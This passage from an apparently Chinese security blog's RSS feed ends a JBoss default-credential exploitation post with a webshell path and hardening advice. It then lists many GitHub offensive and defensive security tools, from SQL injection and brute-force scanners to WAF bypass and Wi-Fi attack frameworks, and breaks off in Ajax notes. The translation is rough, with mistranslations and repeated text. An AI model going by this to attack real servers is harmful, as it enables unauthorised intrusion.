&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://url/shell/shell.jsp&lt;/code&gt;

&lt;h1 id=&quot;结论&quot;&gt;结论&lt;/h1&gt;
JBoss默认身份验证漏洞就像 攻击者的圣诞礼物！通常管理员会掉以轻心。但后果可能是致命的。攻击者可以使用此错误成功控制服务器

&lt;ul&gt;
  &lt;li&gt;根服务器或隧道它&lt;/li&gt;
  &lt;li&gt;获取敏感信息&lt;/li&gt;
  &lt;li&gt;使用服务器部署恶意软件&lt;/li&gt;
  &lt;li&gt;在网络犯罪活动中使用服务器使用服务器托管恶意内容&lt;/li&gt;
  &lt;li&gt;妥协连接到服务器的其他计算机&lt;/li&gt;
&lt;/ul&gt;

而且可能会继续下去！

帽子管理员需要做什么？

&lt;ul&gt;
  &lt;li&gt;应尽量避免并应关闭远程访问&lt;/li&gt;
  &lt;li&gt;如果启用了远程访问，&lt;/li&gt;
&lt;/ul&gt;

而且可能会继续下去！

帽子管理员需要做什么？

&lt;ul&gt;
  &lt;li&gt;应尽量避免并应关闭远程访问&lt;/li&gt;
  &lt;li&gt;如果启用了远程访问，则应应用强密码&lt;/li&gt;
  &lt;li&gt;小小的警告可以保存您组织的关键数据并确保其安全。&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;下载&quot;&gt;下载&lt;/h1&gt;

&lt;a href=&quot;https://securityxploded.com/JBoss%20Whitepaper.pdf&quot;&gt;白皮书 - JBoss Exploitation&lt;/a&gt;

&lt;h1 id=&quot;参考&quot;&gt;参考&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/JBoss_application_server&quot;&gt;JBoss应用服务器&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;
    &lt;a href=&quot;http://community.jboss.org/wiki/SecureTheJmxConsole&quot;&gt;SecureTheJmxConsole&lt;/a&gt;

  &lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 25 Sep 2018 00:00:00 +0000</pubDate>
        <link>https://hannoch.github.io/2018/09/25/jboss/</link>
        <guid isPermaLink="true">https://hannoch.github.io/2018/09/25/jboss/</guid>
        
        <category>Webshell</category>
        
        <category>JBoss</category>
        
        
        <category>JBoss</category>
        
      </item>
    
      <item>
        <title>HackTool</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#一-子域扫描仪或枚举工具&quot; id=&quot;markdown-toc-一-子域扫描仪或枚举工具&quot;&gt;一 、子域扫描仪或枚举工具&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#二数据库漏洞扫描器或枚举工具&quot; id=&quot;markdown-toc-二数据库漏洞扫描器或枚举工具&quot;&gt;二、数据库漏洞扫描器或枚举工具&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#三弱密码用户扫描器或枚举工具&quot; id=&quot;markdown-toc-三弱密码用户扫描器或枚举工具&quot;&gt;三、弱密码/用户扫描器或枚举工具&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#四物联网探测工具或扫描仪&quot; id=&quot;markdown-toc-四物联网探测工具或扫描仪&quot;&gt;四、物联网探测工具或扫描仪&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#五反射或基于dom的xss扫描仪&quot; id=&quot;markdown-toc-五反射或基于dom的xss扫描仪&quot;&gt;五、反射或基于DOM的xss扫描仪&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#六企业资产管理或泄漏收集工具&quot; id=&quot;markdown-toc-六企业资产管理或泄漏收集工具&quot;&gt;六、企业资产管理或泄漏收集工具&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#七webshell检测或恶意软件分析工具&quot; id=&quot;markdown-toc-七webshell检测或恶意软件分析工具&quot;&gt;七、webshell检测或恶意软件分析工具&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#八内联网渗透工具或扫描仪&quot; id=&quot;markdown-toc-八内联网渗透工具或扫描仪&quot;&gt;八、内联网渗透工具或扫描仪&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#九中间件扫描仪或指纹工具&quot; id=&quot;markdown-toc-九中间件扫描仪或指纹工具&quot;&gt;九、中间件扫描仪或指纹工具&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#十特殊扫描仪仅用于某些特殊组件&quot; id=&quot;markdown-toc-十特殊扫描仪仅用于某些特殊组件&quot;&gt;十、特殊扫描仪(仅用于某些特殊组件)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#十一无线网络扫描器&quot; id=&quot;markdown-toc-十一无线网络扫描器&quot;&gt;十一、无线网络扫描器&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#十二局域网局域网扫描器&quot; id=&quot;markdown-toc-十二局域网局域网扫描器&quot;&gt;十二、局域网(局域网)扫描器&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#十三代码检查工具或扫描器&quot; id=&quot;markdown-toc-十三代码检查工具或扫描器&quot;&gt;十三、代码检查工具或扫描器&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#十四模块化设计扫描仪或漏洞检测框架&quot; id=&quot;markdown-toc-十四模块化设计扫描仪或漏洞检测框架&quot;&gt;十四、模块化设计扫描仪或漏洞检测框架&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#十五一些工具与apt有关&quot; id=&quot;markdown-toc-十五一些工具与apt有关&quot;&gt;十五、一些工具与APT有关。&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#十六一些工具与ics相关&quot; id=&quot;markdown-toc-十六一些工具与ics相关&quot;&gt;十六、一些工具与ICS相关。&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

扫描器是来自GitHub平台的开源扫描器的集合，包括子域枚举、数据库漏洞扫描器、弱密码或信息泄漏扫描器、端口扫描器、指纹扫描器以及其他大规模扫描仪、模块扫描器等。对于其他著名的扫描工具，如：awvs、nmap，w3af将不包含在集合范围内。

&lt;h1 id=&quot;一-子域扫描仪或枚举工具&quot;&gt;一 、子域扫描仪或枚举工具&lt;/h1&gt;

· https://github.com/lijiejie/subDomainsBrute(由lijiejie提供的一个经典子域枚举工具)

· https://github.com/ring04h/wydomain(用ringzero进行速度和精度子域枚举工具)

· https://github.com/le4f/dnsmaper(带有地图记录的子域枚举工具)

· https://github.com/0xbug/orangescan(联机子域枚举工具)

· https://github.com/TheRook/subbrute(dns元查询蜘蛛，枚举dns记录，以及子域，支持api)

· https://github.com/We5ter/GSDF(通过google证书透明度进行子域枚举)

· https://github.com/mandatoryprogrammer/cloudflare_enum(通过CloudFlare进行子域枚举)

· https://github.com/guelfoweb/knock(敲门子域扫描)

· https://github.com/exp-db/PythonPool/tree/master/Tools/DomainSeeker(IntergrodPython子域枚举工具)

· https://github.com/code-scan/BroDomain(找兄弟域)

· https://github.com/chuhades/dnsbrute(快速域野蛮工具)

· https://github.com/yanxiu0614/subdomain3(一个简单而快速的子域生成工具)

· https://github.com/michenriksen/aquatone(强大的子域工具和域收购查找工具)

· https://github.com/evilsocket/dnssearch(子域枚举工具)

· https://github.com/reconned/domained(用于bug搜索的子域枚举工具)

· https://github.com/bit4woo/Teemo(域名和电子邮件地址收集工具)

· https://github.com/laramies/theHarvester(电子邮件、子域名和人名收割机)

· https://github.com/swisskyrepo/Subdomino(一个枚举子域的应用程序，并用几个规则扫描它们)

· https://github.com/nmalcolm/Inventus(蜘蛛)通过爬行来寻找特定领域的子域

· https://github.com/aboul3la/Sublist3r(用于渗透测试人员的快速子域枚举工具)

· https://github.com/jonluca/Anubis(子域枚举和信息收集工具)

· https://github.com/n4xh4ck5/N4xD0rk(列出关于主域的子域)

· https://github.com/infosec-au/altdns(通过修改和排列发现子域)

&lt;h1 id=&quot;二数据库漏洞扫描器或枚举工具&quot;&gt;二、数据库漏洞扫描器或枚举工具&lt;/h1&gt;

· https://github.com/0xbug/SQLiScanner(通过sqlmap和charles进行的一个基于漏洞的漏洞扫描)

· https://github.com/stamparm/DSSS(SQLi漏洞扫描器有99行代码)

· https://github.com/LoRexxar/Feigong(用于MySQL的SQLi漏洞扫描器)

· https://github.com/youngyangyang04/NoSQLAttack(用于mongodb的一个基于漏洞的漏洞扫描)

· https://github.com/Neohapsis/bbqsql(一种盲的低密度漏洞扫描器)

· https://github.com/NetSPI/PowerUpSQL(一个带Powershell脚本的SQLi漏洞扫描程序)

· https://github.com/WhitewidowScanner/whitewidow(另一个SQL漏洞扫描器)

· https://github.com/stampery/mongoaudit(强大的mongodb审核和pentesting工具)

· https://github.com/torque59/Nosql-Exploitation-Framework(用于计算机辅助扫描和开发的python框架)

· https://github.com/missDronio/blindy(简单脚本来自动实现盲sql注入漏洞)

· https://github.com/fengxuangit/Fox-scan(一个主动和被动sql注入易受攻击测试工具)

· https://github.com/NetSPI/PowerUpSQL(攻击SQLServer的PowerShell工具包)

· https://github.com/JohnTroony/Blisqy(利用HTTPHeader中基于时间的盲SQL注入)

· https://github.com/ron190/jsql-injection(用于从远程服务器查找数据库信息的轻量级应用程序)

· https://github.com/Hadesy2k/sqliv(大规模sql注入漏洞扫描器)

· https://github.com/UltimateHackers/sqlmate(sqlmap的一个朋友，它将做您一直期望的sqlmap)

· https://github.com/m8r0wn/enumdb(MySQL和MSSQL蛮力和开发后工具)

&lt;h1 id=&quot;三弱密码用户扫描器或枚举工具&quot;&gt;三、弱密码/用户扫描器或枚举工具&lt;/h1&gt;

· https://github.com/lijiejie/htpwdScan(pythonHTTP弱传递扫描器)

· https://github.com/ysrc/F-Scrack(单文件蛮力支持多协议)

· https://github.com/Mebus/cupp(普通用户密码分析器)

· https://github.com/netxfly/crack_ssh(SSH\redis\MongoDB弱密码强者)

· https://github.com/LandGrey/pydictor(一个有用的黑客词典生成器，用于暴力攻击)

· https://github.com/shengqi158/weak_password_detect(pythonHTTP弱密码扫描器)

· https://github.com/UltimateHackers/Blazy(Blaz是一个现代的登录强人，它还测试CSRF、Clickjacking、Cloudflare和WAF)

· https://github.com/MooseDojo/myBFF(web应用程序蛮力框架，支持Citrix网关、CiscoVPN等)

&lt;h1 id=&quot;四物联网探测工具或扫描仪&quot;&gt;四、物联网探测工具或扫描仪&lt;/h1&gt;

· https://github.com/rapid7/IoTSeeker(弱密码物联网设备扫描器)

· https://github.com/shodan-labs/iotdb(物联网设备扫描仪通过nmap)

· https://github.com/googleinurl/RouterHunterBR(测试连接到Internet的设备和路由器的漏洞)

· https://github.com/scu-igroup/telnet-scanner(基于密码枚举的弱telnet密码扫描器)

· https://github.com/viraintel/OWASP-Nettacker(网络信息收集漏洞扫描器，最适合扫描物联网)

&lt;h1 id=&quot;五反射或基于dom的xss扫描仪&quot;&gt;五、反射或基于DOM的xss扫描仪&lt;/h1&gt;

· https://github.com/shawarkhanethicalhacker/BruteXSS(跨站点脚本编程)

· https://github.com/1N3/XSSTracer(用于检查跨站点跟踪的小型python脚本)

· https://github.com/0x584A/fuzzXssPHP(一个非常简单的反射XSS扫描仪支持GET/POST)

· https://github.com/chuhades/xss_scan(反射xss扫描器)

· https://github.com/BlackHole1/autoFindXssAndCsrf(浏览器的插件，它自动检查页面是否具有xss和漏洞)

· https://github.com/shogunlab/shuriken(xss命令行工具用于测试web应用程序中xss负载列表)

· https://github.com/UltimateHackers/XSStrike(用于XSS、WAF检测和旁路的模糊和蛮力参数)

· https://github.com/stamparm/DSXS(一个完全功能的跨站点脚本漏洞扫描器，支持获取和发布参数，并写入100行代码)

&lt;h1 id=&quot;六企业资产管理或泄漏收集工具&quot;&gt;六、企业资产管理或泄漏收集工具&lt;/h1&gt;

· https://github.com/ysrc/xunfeng(脆弱性快速响应、内联网扫描系统)

· https://github.com/laramies/theHarvester(电子邮件、子域名和人名收割机)

· https://github.com/x0day/Multisearch-v2(基于搜索引擎的企业资产收集器)

· https://github.com/Ekultek/Zeus-Scanner(一种高级的DOCK搜索工具，能够找到被搜索引擎阻塞的IP地址/URL，并且可以在URL上运行sqlmap和nmap扫描)

· https://github.com/0xbug/Biu-framework(基于企业内联网服务的安全扫描框架)

· https://github.com/metac0rtex/GitHarvester(用于从GitHub获取信息)

· https://github.com/shengqi158/svnhack(A).svn文件夹泄露漏洞)

· https://github.com/repoog/GitPrey(在GitHub中搜索敏感文件和内容)

· https://github.com/0xbug/Hawkeye(GitHub泄漏扫描企业)

· https://github.com/lianfeng30/githubscan(企业GitHub泄漏扫描)

· https://github.com/UnkL4b/GitMiner(高级搜索工具和Gizub的自动化)

· https://github.com/lijiejie/GitHack(A).git文件夹泄露漏洞)

· https://github.com/dxa4481/truffleHog(通过git存储库搜索高熵字符串)

· https://github.com/1N3/Goohak(自动启动针对目标域的Google黑客查询)

· https://github.com/UKHomeOffice/repo-security-scanner(发现意外提交给gitrepo的秘密的cli工具，如密码、私钥)

· https://github.com/FeeiCN/GSIL(GitHub敏感信息泄漏)

· https://github.com/MiSecurity/x-patrol(GitHub泄密巡逻)

· https://github.com/1N3/BlackWidow(在目标网站上收集OSINT和Fuzz的OWASP漏洞)

&lt;h1 id=&quot;七webshell检测或恶意软件分析工具&quot;&gt;七、webshell检测或恶意软件分析工具&lt;/h1&gt;

· https://github.com/ym2011/ScanBackdoor(简易webshell探测器)

· https://github.com/yassineaddi/BackdoorMan(一个工具包在选定的目的地中找到恶意、隐藏和可疑的php脚本和shell)

· https://github.com/he1m4n6a/findWebshell(简易webshell探测器)

· https://github.com/Tencent/HaboMalHunter(用于Linux系统上的自动恶意软件分析和安全性评估)

· https://github.com/PlagueScanner/PlagueScanner(开放源码多AV扫描仪框架)

· https://github.com/nbs-system/php-malware-finder(一个用于检测潜在恶意php文件的可怕工具)

· https://github.com/emposha/PHP-Shell-Detector(帮助您查找并识别php/cgi(Perl)/asp/ASPX shell)

· https://github.com/erevus-cn/scan_webshell(简易webshell探测器)

· https://github.com/emposha/Shell-Detector(一个帮助您查找和识别php/perl/asp/ASPX shell的应用程序)

· https://github.com/m4rco-/dorothy2(用Ruby编写的恶意软件/僵尸网络分析框架)

· https://github.com/droidefense/engine(改进Android恶意软件分析框架)

&lt;h1 id=&quot;八内联网渗透工具或扫描仪&quot;&gt;八、内联网渗透工具或扫描仪&lt;/h1&gt;

· https://github.com/0xwindows/VulScritp(内联网渗透测试脚本)

· https://github.com/lcatro/network_backdoor_scanner(内部网络扫描器，如计量器)

· https://github.com/fdiskyou/hunter(用户猎人只使用WinAPI调用)

· https://github.com/BlackHole1/WebRtcXSS(使用XSS自动化入侵Intranet)

&lt;h1 id=&quot;九中间件扫描仪或指纹工具&quot;&gt;九、中间件扫描仪或指纹工具&lt;/h1&gt;

· https://github.com/ring04h/wyportmap(目标端口扫描+系统服务指纹识别)

· https://github.com/ring04h/weakfilescan(动态多线程敏感信息泄漏检测工具)

· https://github.com/EnableSecurity/wafw00f(标识和指纹web应用防火墙)

· https://github.com/rbsec/sslscan(测试ssl/tls启用服务，以发现支持密码套件)

· https://github.com/urbanadventurer/whatweb(网站FingerPrint)

· https://github.com/tanjiti/FingerPrint(另一个网站FingerPrint)

· https://github.com/nanshihui/Scan-T(一种基于python的新蜘蛛，具有更多的功能，包括网络指纹搜索)

· https://github.com/OffensivePython/Nscan(快速互联网扫描)

· https://github.com/ywolf/F-NAScan(扫描网络资产信息脚本)

· https://github.com/ywolf/F-MiddlewareScan(中间件服务的漏洞检测脚本)

· https://github.com/maurosoria/dirsearch(网络路径扫描器)

· https://github.com/x0day/bannerscan(C段横幅带路径扫描器)

· https://github.com/RASSec/RASscan(内部网络端口速度扫描器)

· https://github.com/3xp10it/bypass_waf(自动waf旁路工具)

· https://github.com/3xp10it/xcdn(试图找出cdn背后的实际ip)

· https://github.com/Xyntax/BingC(基于Bing搜索引擎C/Side-Stop查询，多线程，支持API)

· https://github.com/Xyntax/DirBrute(多线程web目录枚举工具)

· https://github.com/zer0h/httpscan(来自ip/cidr的爬虫类的http服务检测器)

· https://github.com/lietdai/doom(基于刺的ip端口脆弱性扫描器分布式任务分配)

· https://github.com/chichou/grab.js(快速tcp横幅抓取像zgrab，但支持更多协议)

· https://github.com/Nitr4x/whichCDN(检测给定网站是否受到内容传递网络的保护)

· https://github.com/secfree/bcrpscan(基于爬虫结果的网页路径扫描器)

· https://github.com/mozilla/ssh_scan(SSH配置和策略扫描器原型)

· https://github.com/18F/domain-scan(扫描域上的数据，它们的https配置和其他事物)

· https://github.com/ggusoft/inforfinder(一种用于收集指向服务器和指纹打印机的任何域信息的工具)

· https://github.com/boy-hack/gwhatweb(用于CMS的指纹打印机)

· https://github.com/Mosuan/FileScan(敏感文件扫描器)

· https://github.com/Xyntax/FileSensor(基于爬虫的动态文件检测工具)

· https://github.com/deibit/cansina(Web内容发现工具)

· https://github.com/0xbug/Howl(网络设备、网络服务、指纹扫描仪和数据库)

· https://github.com/mozilla/cipherscan(一种非常简单的方法，可以找出目标支持哪些SSL加密套件)

· https://github.com/xmendez/wfuzz(Web应用程序模糊/框架和Web内容扫描器)

· https://github.com/UltimateHackers/Breacher(用python编写的高级多线程管理面板查找程序)

· https://github.com/ztgrace/changeme(默认的凭据扫描器)

· https://github.com/medbenali/CyberScan(一种开放源码渗透测试工具，可以分析数据包、解码、扫描端口、敲击和定位IP)

· https://github.com/m0nad/HellRaiser(用nmap进行螺旋扫描，然后将cpe的cpe与cve搜索关联起来，以枚举漏洞)

· https://github.com/scipag/vulscan(用Nmap nse进行高级脆弱性扫描)

· https://github.com/jekyc/wig(Webapp Information Gatherer)

· https://github.com/eldraco/domain_analyzer(通过查找所有可能的信息来分析任何域的安全性)

· https://github.com/cloudtracer/paskto(基于nikto数据库的被动目录扫描和web爬虫)

· https://github.com/zerokeeper/WebEye(一个web服务和waf fingerprinter)

· https://github.com/m3liot/shcheck(只需检查目标网站上的安全标头)

· https://github.com/aipengjie/sensitivefilescan(一个速度快、非常棒的敏感文件扫描仪)

· https://github.com/fnk0c/cangibrina(快速而又高精度的仪表板(管理)查找器)

· https://github.com/n4xh4ck5/CMSsc4n(用于识别域是否为CMS的工具，如Wordpress、Moodle、Joomla)

· https://github.com/Ekultek/WhatWaf(检测和绕过web应用防火墙和保护系统)

· https://github.com/dzonerzy/goWAPT(转web应用程序渗透测试和web应用程序模糊工具)

· https://github.com/blackye/webdirdig(敏感文件扫描器)

&lt;h1 id=&quot;十特殊扫描仪仅用于某些特殊组件&quot;&gt;十、特殊扫描仪(仅用于某些特殊组件)&lt;/h1&gt;

· https://github.com/blackye/Jenkins(Jenkins漏洞检测，用户抓取枚举)

· https://github.com/code-scan/dzscan(盘式扫描器)

· https://github.com/chuhades/CMS-Exploit-Framework(CMS开发框架)

· https://github.com/lijiejie/IIS_shortname_Scanner(IIS短名扫描仪)

· https://github.com/riusksk/FlashScanner(闪光灯XSS扫描器)

· https://github.com/coffeehb/SSTIF(服务器端模板注入工具)

· https://github.com/epinna/tplmap(自动服务器端模板注入检测和开发工具)

· https://github.com/cr0hn/dockerscan(码头安全分析及黑客工具)

· https://github.com/m4ll0k/WPSeku(简单的Wordpress安全扫描器)

· https://github.com/rastating/wordpress-exploit-framework(用于开发和使用支持wordpress功能网站和系统渗透测试模块的ruby框架)

· https://github.com/ilmila/J2EEScan(为Burp Suite Proxy提供插件，以提高在J2EE应用程序上进行Web应用程序渗透测试时的测试覆盖率)

· https://github.com/riusksk/StrutScan(Struts2.vuls.扫描仪基perl脚本)

· https://github.com/D35m0nd142/LFISuite(全自动LFI开发扫描仪支持反壳)

· https://github.com/0x4D31/salt-scanner(基于盐开放和基于Vulners的审计api的linux漏洞扫描器，具有松弛通知和JIRA集成)

· https://github.com/tijme/angularjs-csti-scanner(用于AngularJS的自动客户端模板注入检测)

· https://github.com/irsdl/IIS-ShortName-Scanner(iis短文件名8.3的扫描器泄漏漏洞)

· https://github.com/swisskyrepo/Wordpresscan(WPScan在python+中重写了一些WPSeku的想法)

· https://github.com/CHYbeta/cmsPoc(CMS开发框架)

· https://github.com/rudSarkar/crlf-injector(自动喷射喷射器)

· https://github.com/3gstudent/Smbtouch-Scanner(自动扫描内部网络以检测它们是否易受攻击)

· https://github.com/utiso/dorkbot(命令行工具扫描google搜索结果以获取漏洞)

· https://github.com/OsandaMalith/LFiFreak(一个独特的自动LFI开发器，带有BIND/反向shell)

· https://github.com/mak-/parameth(这个工具可以用来野蛮地发现GET和POST参数)

· https://github.com/Lucifer1993/struts-scan(Struts 2外阴扫描仪，支持所有的外阴)

· https://github.com/hahwul/a2sv(自动扫描SSL漏洞，如心脏出血等)

· https://github.com/NullArray/DorkNet(Selenium支持Python脚本，用于自动搜索易受攻击的Web应用程序)

· https://github.com/NickstaDB/BaRMIe(java rmi枚举和攻击工具)

· https://github.com/RetireJS/grunt-retire(扫描器检测使用具有已知漏洞的JavaScript库)

· https://github.com/kotobukki/BDA(Hadoop和SPark的漏洞检测器)

· https://github.com/jagracey/Regex-DoS(RegEx拒绝服务扫描器)

· https://github.com/milesrichardson/docker-onion-nmap(使用Tor、ProxyChains和dnsmasq用nmap扫描洋葱隐藏服务)

· https://github.com/Moham3dRiahi/XAttacker(WebCMS利用框架)

· https://github.com/lijiejie/BBScan(一个小型批处理Web漏洞扫描器)

· https://github.com/almandin/fuxploider(文件上传漏洞扫描器和利用工具)

&lt;h1 id=&quot;十一无线网络扫描器&quot;&gt;十一、无线网络扫描器&lt;/h1&gt;

· https://github.com/savio-code/fern-wifi-cracker/(测试和发现自己网络中的缺陷)

· https://github.com/m4n3dw0lf/PytheM(多用途网络五层框架)

· https://github.com/P0cL4bs/WiFi-Pumpkin(盗用Wi-Fi接入点攻击框架)

· https://github.com/MisterBianco/BoopSuite(用Python编写的用于无线审计和安全测试的工具套件)

· https://github.com/DanMcInerney/LANs.py(自动找到最活跃的WLAN用户，注入代码，阻塞wifi，并监视wifi用户)

· https://github.com/besimaltnok/PiFinger(搜索wifi-菠萝痕迹并计算无线网络安全分数)

· https://github.com/derv82/wifite2(自动无线攻击工具的完整重新编写)

&lt;h1 id=&quot;十二局域网局域网扫描器&quot;&gt;十二、局域网(局域网)扫描器&lt;/h1&gt;

· https://github.com/sowish/LNScan(基于BBScan via.lijieje的本地网络扫描仪)

· https://github.com/niloofarkheirkhah/nili(网络扫描工具，中间人，协议逆向工程和模糊)

· https://github.com/SkyLined/LocalNetworkScanner(当您打开网页时扫描本地网络的poc javascript)

· https://github.com/rootlabs/nWatch(局域网中主机发现、端口扫描和操作系统指纹识别工具)

&lt;h1 id=&quot;十三代码检查工具或扫描器&quot;&gt;十三、代码检查工具或扫描器&lt;/h1&gt;

· https://github.com/wufeifei/cobra(一个自动代码分析系统，用于自动检测漏洞和安全问题)

· https://github.com/OneSourceCat/phpvulhunter(可以使用静态分析方法自动扫描php漏洞的工具)

· https://github.com/Qihoo360/phptrace(用于php脚本的跟踪和故障排除工具)

· https://github.com/ajinabraham/NodeJsScan(用于电子邮件应用程序的静态安全代码扫描器)

· https://github.com/shengqi158/pyvulhunter(用于python应用程序的静态安全代码扫描器)

· https://github.com/presidentbeef/brakeman(用于RubyonRails应用程序的静态分析安全漏洞扫描器)

· https://github.com/python-security/pyt(用于检测PythonWeb应用程序中的安全漏洞的静态分析工具)

· https://github.com/m4ll0k/WPSploit(WordPress插件代码审核)

· https://github.com/emanuil/php-reaper(用于扫描ADOdb代码以进行SQL注入的PHP工具)

· https://github.com/lowjoel/phortress(PHP静态代码分析器，用来分析潜在的漏洞)

&lt;h1 id=&quot;十四模块化设计扫描仪或漏洞检测框架&quot;&gt;十四、模块化设计扫描仪或漏洞检测框架&lt;/h1&gt;

· https://github.com/infobyte/faraday(协作渗透测试和漏洞管理平台)

· https://github.com/az0ne/AZScanner(自动全方位扫描仪)

· https://github.com/blackye/lalascan(分布式Web漏洞扫描框架)

· https://github.com/blackye/BkScanner(分布式、插件web漏洞扫描器)

· https://github.com/ysrc/GourdScanV2(被动漏洞扫描系统)

· https://github.com/netxfly/passive_scan基于http代理的web漏洞扫描系统实现

· https://github.com/1N3/Sn1per(自动五旬节侦察扫描仪)

· https://github.com/RASSec/pentestEr_Fully-automatic-scanner(定向完全自动渗透测试)

· https://github.com/3xp10it/3xp10it(自动渗透测试框架)

· https://github.com/Lcys/lcyscan(一个插件扫描器，插件支持)

· https://github.com/Xyntax/POC-T(穿透测试插件并发框架)

· https://github.com/v3n0m-Scanner/V3n0M-Scanner(用于SQLi/xss/LFI/rfi和其他Vulns的扫描程序中的扫描器)

· https://github.com/Skycrab/leakScan(多个外阴扫描支持Web接口)

· https://github.com/zhangzhenfeng/AnyScan(自动渗透测试框架)

· https://github.com/Tuhinshubhra/RED_HAWK(一个用于收集信息、SQL漏洞扫描和爬行的全部集成工具。(用PHP编码)

· https://github.com/Arachni/arachni(Web应用程序安全扫描框架)

· https://github.com/boy-hack/w8scan(类似于Bugscan的扫描仪)

· https://github.com/juansacco/exploitpack(利用Pack-渗透测试框架GPLv 3)

· https://github.com/swisskyrepo/DamnWebScanner(另一个Web漏洞扫描器，此扩展在Chrome和Opera上工作)

· https://github.com/anilbaranyelken/tulpar(用python编写的web漏洞扫描程序，支持多个web漏洞扫描)

· https://github.com/m4ll0k/Spaghetti(一个Web应用程序安全扫描工具，旨在查找各种默认和不安全的文件、配置和错误配置)

· https://github.com/Yukinoshita47/Yuki-Chan-The-Auto-Pentest(一个自动渗透测试工具-该工具将为您审核所有标准的安全测试方法)

· https://github.com/0xsauby/yasuo(在网络上扫描易受攻击和可利用的第三方web应用程序的Ruby脚本)

· https://github.com/hatRiot/clusterd(应用服务器攻击工具包)

· https://github.com/erevus-cn/pocscan(开放源码和分布式web漏洞扫描框架)

· https://github.com/TophantTechnology/osprey(分布式Web漏洞扫描框架)

· https://github.com/yangbh/Hammer(web漏洞扫描器框架)

· https://github.com/Lucifer1993/AngelSword(基于上的web漏洞扫描框架)

· https://github.com/secrary/EllaScanner(被动Web扫描程序，您可以获得与服务器版本相关的CVEs)

· https://github.com/zaproxy/zaproxy(世界上最受欢迎的免费安全工具之一，由数百名国际志愿人员积极维护)

· https://github.com/sullo/nikto(nikto是一个web服务器评估工具)。它旨在查找各种默认的和不安全的文件、配置和程序，无论是哪种web服务器都是这样的。

· https://github.com/UltimateHackers/Striker(前锋是一种攻击性信息和漏洞扫描器)

· https://github.com/dermotblair/webvulscan(用php编写并可以用于测试远程或本地web应用程序以获得安全漏洞)

· https://github.com/alienwithin/OWASP-mth3l3m3nt-framework(渗透测试辅助工具和开发框架)

· https://github.com/toyakula/luna(基于减少代码被动扫描框架的开源web安全扫描器)

· https://github.com/Manisso/fsociety(渗透测试框架，包括信息收集、无线测试、网络黑客等)

&lt;h1 id=&quot;十五一些工具与apt有关&quot;&gt;十五、一些工具与APT有关。&lt;/h1&gt;

· https://github.com/Neo23x0/Loki(简单国际奥委会和事件反应扫描仪)

&lt;h1 id=&quot;十六一些工具与ics相关&quot;&gt;十六、一些工具与ICS相关。&lt;/h1&gt;

· https://github.com/w3h/icsmaster/tree/master/nse(数字债券的ICS枚举工具)

</description>
        <pubDate>Tue, 18 Sep 2018 00:00:00 +0000</pubDate>
        <link>https://hannoch.github.io/2018/09/18/hacktool/</link>
        <guid isPermaLink="true">https://hannoch.github.io/2018/09/18/hacktool/</guid>
        
        <category>Github</category>
        
        <category>扫描器</category>
        
        <category>端口扫描器</category>
        
        
        <category>Github</category>
        
      </item>
    
      <item>
        <title>Ajax学习笔记</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#一传统javascript使用ajax方式&quot; id=&quot;markdown-toc-一传统javascript使用ajax方式&quot;&gt;一、传统javascript使用ajax方式：&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#1生成xmlhttprequest对象&quot; id=&quot;markdown-toc-1生成xmlhttprequest对象&quot;&gt;1）生成XMLHttpRequest对象：&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#2xmlhttprequest对象向服务器发送请求&quot; id=&quot;markdown-toc-2xmlhttprequest对象向服务器发送请求&quot;&gt;2）XMLHttpRequest对象向服务器发送请求：&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#3服务器响应&quot; id=&quot;markdown-toc-3服务器响应&quot;&gt;3）服务器响应：&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#4客户端响应事件onreadystatechange&quot; id=&quot;markdown-toc-4客户端响应事件onreadystatechange&quot;&gt;4）客户端响应事件onreadystatechange&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#二ajax-一般流程总结&quot; id=&quot;markdown-toc-二ajax-一般流程总结&quot;&gt;二、ajax 一般流程总结&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

AJAX:Asynchronous Javascript And XML.

AJAX不是新的编程语言，而是一种使用现有标准的新技术。AJAX是在不重新加载整个页面的情况下，与服务器交换数据并异步更新部分网页的艺术。
&lt;h1 id=&quot;一传统javascript使用ajax方式&quot;&gt;一、传统javascript使用ajax方式：&lt;/h1&gt;
XMLHttpRequest对象：所有现代浏览器均支持XMLHttpRequest对象，XMLHttpRequest用于在后台与服务器交换数据。
&lt;h2 id=&quot;1生成xmlhttprequest对象&quot;&gt;1）生成XMLHttpRequest对象：&lt;/h2&gt;
